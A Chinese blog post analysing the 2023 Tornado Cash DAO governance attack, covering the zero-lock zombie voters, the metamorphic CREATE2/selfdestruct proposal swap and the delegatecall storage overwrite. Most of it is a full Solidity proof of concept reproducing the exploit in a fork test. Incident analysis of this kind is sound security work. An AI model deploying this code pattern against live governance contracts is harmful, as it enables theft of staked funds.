Tornado Cash DAO Incident分析与POC

Chiu Lv4

Slides

一、事件背景

2023 年 5 月 20 日,去中心化隐私协议 Tornado Cash 的治理模块(DAO)遭遇了攻击。攻击者通过提交恶意治理提案,绕过权限控制,成功窃取了约 47.3 万枚 TORN(治理代币)。


二、Tornado Cash 的系统组成

理解本次攻击的前提,需要区分 Tornado Cash 的两个关键组成部分:

1. 核心混币合约(Mixing Protocol)

  • 这是部署在以太坊主网的不可变智能合约,例如 ETH 混币池。
  • 用户可以通过零知识证明机制实现匿名存取款。
  • 合约设计不可升级,不依赖治理合约控制,运行逻辑完全链上验证。
  • 历史上,攻击者广泛使用此类合约来匿名洗钱。

2. Tornado Cash DAO(治理合约)

  • 负责管理 Tornado 的发展和金库资金使用。
  • 基于 TORN 代币投票权,用户可以发起提案并执行操作。
  • 拥有 execute() 权限的合约可在提案通过后执行一系列治理行为,包括资金转移、合约调用等。

三、攻击流程详解

攻击者的整个操作流程可以分为以下几个阶段:

1. 准备阶段:创建僵尸账户

  • 攻击者预先创建了大约 100 个“僵尸账户”,由于 Tornado 的治理合约中的投票权逻辑只判断了**用户是否调用了 lock() 函数并登记了 unlockTime**,并没有校验其实际锁仓 TORN 数量,每个账户都通过锁仓 0 TORN 获得一个投票凭证。
  • 每个账户都成为 Proposal.lockedBalance 结构中的一员,使其在治理系统中存在。

2. 构造并提交恶意治理提案

  • 攻击者首先部署MetaDeployer合约,并通过CREATE2函数部署Factory合约到A地址,Factory合约调用CREATE函数将提案合约部署到B地址。
  • 攻击者提交此恶意提案(Proposal Id = 20),其内容包含一个不容易引起察觉的emergencyStop()函数 。
  • 提案通过后,攻击者调用自毁函数销毁了提案合约与Factory合约。
  • MetaDeployer在使用相同字节码与salt的情况下,CREATE2仍会部署Factory合约到A地址
  • 由于Factory合约被销毁过,nonce置零,所以再次使用CREATE部署提案合约时仍部署到B地址,不过这次部署的是攻击合约

3. 利用 delegatecall 篡改投票权与权限

  • 治理合约调用提案合约函数的方式是execute()函数中的delegatecall,并且没有对合约校验hash或者验签,只需传入提案ID:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

/*
governance.sol治理合约下的execute()函数
https://etherscan.io/address/0xa9689ed4a82a288e267b11ae8fe137fb4cb2177e#code
*/
function execute(uint256 proposalId) external payable virtual {
require(state(proposalId) == ProposalState.AwaitingExecution, "Governance::execute: invalid proposal state");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;

address target = proposal.target;
require(Address.isContract(target), "Governance::execute: not a contract");
(bool success, bytes memory data) = target.delegatecall(abi.encodeWithSignature("executeProposal()"));
if (!success) {
if (data.length > 0) {
revert(string(data));
} else {
revert("Proposal execution failed");
}
}

emit ProposalExecuted(proposalId);
}
  • 攻击合约通过delegate call修改了每个僵尸账户的lockedBalance,赋予每个账户 10,000 的“伪造余额”,此时攻击者已经拥有了DAO的治理控制权。

    交易链接

    lockedBalance变化:

image.png

5. 执行资金盗取

这一步的攻击提案合约地址为:0x592340957eBC9e4Afb0E9Af221d06fDDDF789de9

decompile出的攻击提案合约代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

abstract contract Ownable {
address private _owner;

event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

constructor() {
_transferOwnership(msg.sender);
}

modifier onlyOwner() {
_checkOwner();
_;
}

function owner() public view virtual returns (address) { find similar
return _owner;
}

function _checkOwner() internal view virtual {
require(owner() == msg.sender, "Ownable: caller is not the owner");
}

function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

import "./Ownable.sol";

interface IRelayerRegistry {
function getRelayerBalance(address relayer) external view returns (uint256); find similar

function nullifyBalance(address relayer) external; find similar
}

interface IStakingRewards {
function withdrawTorn(uint256 amount) external; find similar
}

contract Proposal is Ownable {
function getNullifiedTotal(address[4] memory relayers) public view returns (uint256) { find similar
uint256 nullifiedTotal;

address _registryAddress = 0x58E8dCC13BE9780fC42E8723D8EaD4CF46943dF2;

for (uint8 x = 0; x < relayers.length; x++) {
nullifiedTotal += IRelayerRegistry(_registryAddress).getRelayerBalance(relayers[x]);
}

return nullifiedTotal;
}

function executeProposal() external { find similar
address[4] memory VIOLATING_RELAYERS = [
0xcBD78860218160F4b463612f30806807Fe6E804C, // thornadope.eth
0x94596B6A626392F5D972D6CC4D929a42c2f0008c, // 0xgm777.eth
0x065f2A0eF62878e8951af3c387E4ddC944f1B8F4, // 0xtorn365.eth
0x18F516dD6D5F46b2875Fd822B994081274be2a8b // abc321.eth
];

uint256 NULLIFIED_TOTAL_AMOUNT = getNullifiedTotal(VIOLATING_RELAYERS);

address _registryAddress = 0x58E8dCC13BE9780fC42E8723D8EaD4CF46943dF2;
address _stakingAddress = 0x2FC93484614a34f26F7970CBB94615bA109BB4bf;

IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[0]);
IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[1]);
IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[2]);
IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[3]);

IStakingRewards(_stakingAddress).withdrawTorn(NULLIFIED_TOTAL_AMOUNT);
}

function emergencyStop() public onlyOwner { find similar
selfdestruct(payable(0));
}
}

其中使用的接口具体实现为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* @notice This function should allow governance to nullify a relayers balance
* @dev IMPORTANT FUNCTION:
* - Should nullify the balance
* - Adding nullified balance as rewards was refactored to allow for the flexibility of these funds (for gov to operate with them)
* @param relayer address of relayer who's balance is to nullify
* */
function nullifyBalance(address relayer) external onlyGovernance {
address masterAddress = workers[relayer];
require(relayer == masterAddress, "must be master");
relayers[masterAddress].balance = 0;
emit RelayerBalanceNullified(relayer);
}

/**
* @notice This function should allow governance rescue tokens from the staking rewards contract
* */
function withdrawTorn(uint256 amount) external onlyGovernance {
if (amount == type(uint256).max) amount = torn.balanceOf(address(this));
torn.safeTransfer(address(Governance), amount);
}

  • 在攻击提案合约中,攻击者硬编码了4个受害relayer的地址,先是通过getNullifiedTotal() 函数算出了四个relayer质押的balance总额,然后调用nullifyBalance() 来清除掉relayer对质押balance的claim权,注意relayer的balance并不在relayer自己的账户地址上,而是在Relayer Registry合约账户上。
  • 提案合约随后调用withdrawTorn() 将位于registry中的代币safeTransfer()到Governance合约中,方便后续混币

image 1.png

转账交易链接


四、攻击后资金的流转路径

变现操作

  • 攻击者将僵尸合约的balance解锁,并提取到自己的合约提走攻击473000TORN

image 2.png
image 3.png

  • 攻击者将其中 100,000 枚 TORN 换为约 54 ETH。
  • 随后,通过 Tornado Cash 的 ETH 混币合约,将 372 ETH 存入混币池。

image 4.png


五、POC

AttackerContracts1.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import {Ownable} from "./AttackerOwnable.sol";
import "./TornadoGovernance_rep.interface.sol";
import {IERC20} from "../../interfaces/IERC20.sol";
import "forge-std/Test.sol";


contract Attacker1Contract {
IERC20 TORN = IERC20(0x77777FeDdddFfC19Ff86DB637967013e6C6A116C);
address[] internal _zombieContracts;

function getZombieAccounts() public view returns (address[] memory) {
return _zombieContracts;
}

//Deploy zombie accounts
function deployMultipleContracts(uint256 amount) external {
address newZombie;
for (uint256 i = 0; i < amount;) {
newZombie = address(new Zombie(msg.sender));
console2.log("Deploying and preparing zombie #%s at address: %s", i + 1, newZombie);

_zombieContracts.push(newZombie);

// The following steps were performed by the attacker but are not necessary for the attack
// The attack works if the next lines are commented.
TORN.transferFrom(msg.sender, newZombie, 0);
Zombie(newZombie).attackTornado(Zombie.AttackInstruction.APPROVE);
Zombie(newZombie).attackTornado(Zombie.AttackInstruction.LOCK);

unchecked {
++i;
}
}
}

//Unlock and withdraw assets from the zombie account
function triggerUnlock() external {
uint256 amountOfZombies = _zombieContracts.length;
for (uint256 i = 0; i < amountOfZombies;) {
address currentZombie = _zombieContracts[i];
Zombie(currentZombie).attackTornado(Zombie.AttackInstruction.UNLOCK);
Zombie(currentZombie).attackTornado(Zombie.AttackInstruction.TRANSFER);

unchecked {
++i;
}
}
}
}

// Each Zombie implementation
contract Zombie {
enum AttackInstruction {
APPROVE,
LOCK,
UNLOCK,
TRANSFER
}

IERC20 TORN = IERC20(0x77777FeDdddFfC19Ff86DB637967013e6C6A116C);
ITornadoGovernance TORNADO_GOVERNANCE = ITornadoGovernance(0x5efda50f22d34F262c29268506C5Fa42cB56A1Ce);

address owner;

constructor(address _owner) {
owner = _owner;
}

// this function has the signature 0x93d3a7b6 on each Zombie contract
// The attacker implemented this method so it uses target.call(payload) and had two parameters:
// something like: 0x93d3a7b6(address target, bytes memory payload);
/*

function 0x93d3a7b6(address target, bytes memory payload) external {
(bool success, ) = target.call(payload);
require(success);
}

*/
// We show this implementation to show each step clearly
function attackTornado(AttackInstruction instruction) external {
if (instruction == AttackInstruction.APPROVE) {
TORN.approve(address(TORNADO_GOVERNANCE), 0);
} else if (instruction == AttackInstruction.LOCK) {
TORNADO_GOVERNANCE.lockWithApproval(0);
} else if (instruction == AttackInstruction.UNLOCK) {
TORNADO_GOVERNANCE.unlock(10_000 ether); // 10000000000000000000000
} else if (instruction == AttackInstruction.TRANSFER) {
TORN.transfer(owner, 10_000 ether);
}
}
}

AttackerContracts2.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import {Ownable} from "./AttackerOwnable.sol";
import "./TornadoGovernance_rep.interface.sol";
import {IERC20} from "../../interfaces/IERC20.sol";
import "forge-std/Test.sol";

contract MetaDeployer is Ownable {
address public proposalAddr;
address public proposalFactoryAddress;
bool public deployMaliciousProposal;

/**
* @dev Modifier to ensure that the first 20 bytes of a submitted salt match
* those of the calling account. This provides protection against the salt
* being stolen by frontrunners or other attackers.
* @param salt bytes32 The salt value to check against the calling address.
*/

modifier containsCaller(bytes32 salt) {
require(
address(bytes20(salt)) == msg.sender,
"Invalid salt - first 20 bytes of the salt must match calling address."
);
_;
}


// This function implements the logic behind the deployment for a proposal via a factory
// contract
// First, the factory contract is deployed with Create2 and then the latter deploys the
// proposal with Create
// More details:
// https://explorer.phalcon.xyz/tx/eth/0xa7d20ccdbc2365578a106093e82cc9f6ec5d03043bb6a00114c0ad5d03620122?line=0&debugLine=0
// Method called after: 0xce40d339 in the attacker's contract factory

function createProposalWithFactory(bytes32 _salt, bool _deployMaliciousProposal)
public
payable
containsCaller(_salt)
returns (address proposalContractAddress, address FactoryRealAddr)
{
//write the global variable
deployMaliciousProposal = _deployMaliciousProposal;


// determine the address of the transient contract.
address factoryAddressBycalc = getFactoryAddress(_salt);


//create the factory
FactoryRealAddr = address(new FactoryContract{salt: _salt}());

require(
FactoryRealAddr == factoryAddressBycalc,
"Failed to deploy transient contract using given salt and init code."
);

proposalContractAddress = _getProposalAddress(factoryAddressBycalc);
proposalAddr = proposalContractAddress;
proposalFactoryAddress = FactoryRealAddr;
}

// Precompute with create2
function getFactoryAddress(bytes32 salt) public view returns (address) {
return address(
uint160(
uint256(
keccak256(
abi.encodePacked(
hex"ff",
address(this),
salt,
keccak256(type(FactoryContract).creationCode)
)
)
)
)
);
}


function _getProposalAddress(address factoryAddressBycalc) internal pure returns (address){
return address(
uint160(
uint256(
keccak256(
abi.encodePacked(
bytes1(0xd6),
bytes1(0x94),
factoryAddressBycalc,
bytes1(0x01)
)
)
)
)
);
}

function emergencyStop() external onlyOwner {
console2.log("Triggering destruction of factory and proposal...");
FactoryContract(proposalFactoryAddress).emergencyStop();
console2.log("Factory and proposal destroyed.");
}
}

contract FactoryContract is Ownable{
// The owner of this contract will be the metaDeployer

address public metaDeployerAddr;
address public proposalAddr;

constructor(){
metaDeployerAddr = msg.sender;

//transfer ownership to the metaDeployer
_transferOwnership(metaDeployerAddr);

// deploy the proposal
address proposalContractAddr;
bool deployMaliciousProposal = IMetaDeployer(msg.sender).deployMaliciousProposal();

if(!deployMaliciousProposal){
console2.log("deploying initial proposal");
proposalContractAddr = address(new Proposal_20());
} else {
console2.log("deploying malicious proposal");
proposalContractAddr = address(new Malicious_Proposal_20());
}


require(
proposalContractAddr != address(0),
"Proposal contract address cannot be zero"
);
proposalAddr = proposalContractAddr;
}

function emergencyStop() external onlyOwner {
console2.log("Destorying proposal and factory");
IMaliciousSelfDestruct(proposalAddr).emergencyStop();
selfdestruct(payable(owner()));
}
}

contract Proposal_20 is Ownable {
function getNullifiedTotal(address[4] memory relayers) public returns (uint256) {
uint256 nullifiedTotal;

address _registryAddress = 0x58E8dCC13BE9780fC42E8723D8EaD4CF46943dF2;

for (uint8 x = 0; x < relayers.length; x++) {
nullifiedTotal += IRelayerRegistry(_registryAddress).getRelayerBalance(relayers[x]);
}

return nullifiedTotal;
}

function executeProposal() external {
address[4] memory VIOLATING_RELAYERS = [
0xcBD78860218160F4b463612f30806807Fe6E804C, // thornadope.eth
0x94596B6A626392F5D972D6CC4D929a42c2f0008c, // 0xgm777.eth
0x065f2A0eF62878e8951af3c387E4ddC944f1B8F4, // 0xtorn365.eth
0x18F516dD6D5F46b2875Fd822B994081274be2a8b // abc321.eth
];

uint256 NULLIFIED_TOTAL_AMOUNT = getNullifiedTotal(VIOLATING_RELAYERS);

address _registryAddress = 0x58E8dCC13BE9780fC42E8723D8EaD4CF46943dF2;
address _stakingAddress = 0x2FC93484614a34f26F7970CBB94615bA109BB4bf;

IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[0]);
IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[1]);
IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[2]);
IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[3]);

IStakingRewards(_stakingAddress).withdrawTorn(NULLIFIED_TOTAL_AMOUNT);
}

function emergencyStop() public onlyOwner {
console2.log("Destroying proposal...");
selfdestruct(payable(0));
}
}


contract Malicious_Proposal_20 is Ownable {
function getNullifiedTotal(address[4] memory relayers) public returns (uint256) {
uint256 nullifiedTotal;

address _registryAddress = 0x58E8dCC13BE9780fC42E8723D8EaD4CF46943dF2;

for (uint8 x = 0; x < relayers.length; x++) {
nullifiedTotal += IRelayerRegistry(_registryAddress).getRelayerBalance(relayers[x]);
}

return nullifiedTotal;
}

function executeProposal() external {
address[4] memory VIOLATING_RELAYERS = [
0xcBD78860218160F4b463612f30806807Fe6E804C, // thornadope.eth
0x94596B6A626392F5D972D6CC4D929a42c2f0008c, // 0xgm777.eth
0x065f2A0eF62878e8951af3c387E4ddC944f1B8F4, // 0xtorn365.eth
0x18F516dD6D5F46b2875Fd822B994081274be2a8b // abc321.eth
];

uint256 NULLIFIED_TOTAL_AMOUNT = getNullifiedTotal(VIOLATING_RELAYERS);

address _registryAddress = 0x58E8dCC13BE9780fC42E8723D8EaD4CF46943dF2;
address _stakingAddress = 0x2FC93484614a34f26F7970CBB94615bA109BB4bf;

IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[0]);
IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[1]);
IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[2]);
IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[3]);

IStakingRewards(_stakingAddress).withdrawTorn(NULLIFIED_TOTAL_AMOUNT);

// Meaning that the addresses were somehow added as immutables or hardcoded

// We need to calculate the lockedBalanceSlot so we can then calculate the offset for each minion
// mapping: lockedBalances[account] = value, lockedBalances at 59 (0x3b)
// The attacker knew the addresses of the zombies in advance as they were deployed before
// Addresses for 5 zombies deployed locally in the TornadoCash_GovFoundryFork test
address[5] memory zombies = [
0x9Da940b2Fd184E5c39CC0aE358B380C125a12158,
0x60A5d1b2Ae271557c0da3f8dC4b4cFcb73D55784,
0x0bA2c44fAc23fe39EbB66dF4aA02641C67372E78,
0xfdd66B307434ADd7a7043075e30751f842Ec2f12,
0xC31add2bAF18796DC6E7660EE4AB06b3E5571642
];

// Addresses for 5 zombies deployed by the attacker on mainnet
// address[5] memory zombies = [
// 0xb4d47EE99E132e441Ae3467EB7D70F06d61b10C9,
// 0x57400EB021F940B258F925c57cD39F240B7366F2,
// 0xbD23c3ed3DB8a2D07C52F7C6700fDf0888f4f730,
// 0x548Fd6e5239e9Ce96F3B63F9EEeAd8C461609dc5,
// 0x6dD8C3C6ADD0F403167bF8d2E527A544464744Bb
// ];

for (uint256 i = 0; i < zombies.length; i++) {
address curMinion = zombies[i];
uint256 amount = 10_000 ether;
writeSlot(curMinion, amount, 0x3b);
}
}

function getStorageSlot(address account, uint256 slot) public pure returns (bytes32 hashSlot) {
assembly {
// Store account in memory scratch space
mstore(0, account)
// Store slot number in memory after the account
mstore(32, slot)
// Get the hash from previously stored account and slot
hashSlot := keccak256(0, 64)
}
}

// Write the slot for a mapping key, the initial mapping slot must be known (storage stack)
function writeSlot(address account, uint256 value, uint256 slot) public {
bytes32 slotHash = getStorageSlot(account, slot);
assembly {
sstore(slotHash, value)
}
}

//for test
function getStorageValue(address account, uint256 slot) public view returns (uint256 result) {
assembly {
// Store num in memory scratch space (note: lookup "free memory pointer" if you need to allocate space)
mstore(0, account)
// Store slot number in scratch space after num
mstore(32, slot)
// Create hash from previously stored num and slot
let hash := keccak256(0, 64)
// Load mapping value using the just calculated hash
result := sload(hash)
}
}

function emergencyStop() public onlyOwner {
console2.log("Destroying proposal...");
selfdestruct(payable(0));
}
}

AttackerOwnable.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

abstract contract Ownable {
address private _owner;

event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(msg.sender);
}

/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}

/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}

/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == msg.sender, "Ownable: caller is not the owner");
}

/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}

/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}

/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}

TornadoGovernance_rep.interface.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface IMetaDeployer {
function deployMaliciousProposal() external returns (bool);
}

interface IMaliciousSelfDestruct {
function emergencyStop() external;
}

interface IProposal {
function executeProposal() external;
}

interface IRelayerRegistry {
function getRelayerBalance(address relayer) external returns (uint256);
function isRelayer(address relayer) external returns (bool);
function setMinStakeAmount(uint256 minAmount) external;
function nullifyBalance(address relayer) external;
}

interface IStakingRewards {
function withdrawTorn(uint256 amount) external;
}

interface ITornadoGovernance {
enum ProposalState {
Pending,
Active,
Defeated,
Timelocked,
AwaitingExecution,
Executed,
Expired
}

struct Proposal {
// Creator of the proposal
address proposer;
// target addresses for the call to be made
address target;
// The block at which voting begins
uint256 startTime;
// The block at which voting ends: votes must be cast prior to this block
uint256 endTime;
// Current number of votes in favor of this proposal
uint256 forVotes;
// Current number of votes in opposition to this proposal
uint256 againstVotes;
// Flag marking whether the proposal has been executed
bool executed;
// Flag marking whether the proposal voting time has been extended
// Voting time can be extended once, if the proposal outcome has changed during CLOSING_PERIOD
bool extended;
// Receipts of ballots for the entire set of voters
mapping(address => Receipt) receipts;
}

/// @notice Ballot receipt record for a voter
struct Receipt {
// Whether or not a vote has been cast
bool hasVoted;
// Whether or not the voter supports the proposal
bool support;
// The number of votes the voter had, which were cast
uint256 votes;
}

function lockWithApproval(uint256 amount) external;
function unlock(uint256 amount) external;
function propose(address target, string memory description) external returns (uint256);
function execute(uint256 proposalId) external payable;
function lockedBalance(address from) external returns (uint256);
function state(uint256 proposalId) external view returns (ProposalState);
function castVote(uint256 proposalId, bool support) external;
}


六、 资源

Tornado.Cash Governance Exploiter

Tornado Cash仓库

X: BlockSecTeam

X: samczsun

Unpacking the Tornado Cash Governance Attack

Tornado Cash Encounters Governance Attack | Vulnerability Analysis

  • Title: Tornado Cash DAO Incident分析与POC
  • Author: Chiu
  • Created at : 2025-05-15 00:00:00
  • Updated at : 2025-07-14 17:08:13
  • Link: https://github.com/Idealist17/github.io/2025/05/15/Tornado Cash DAO攻击总结/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments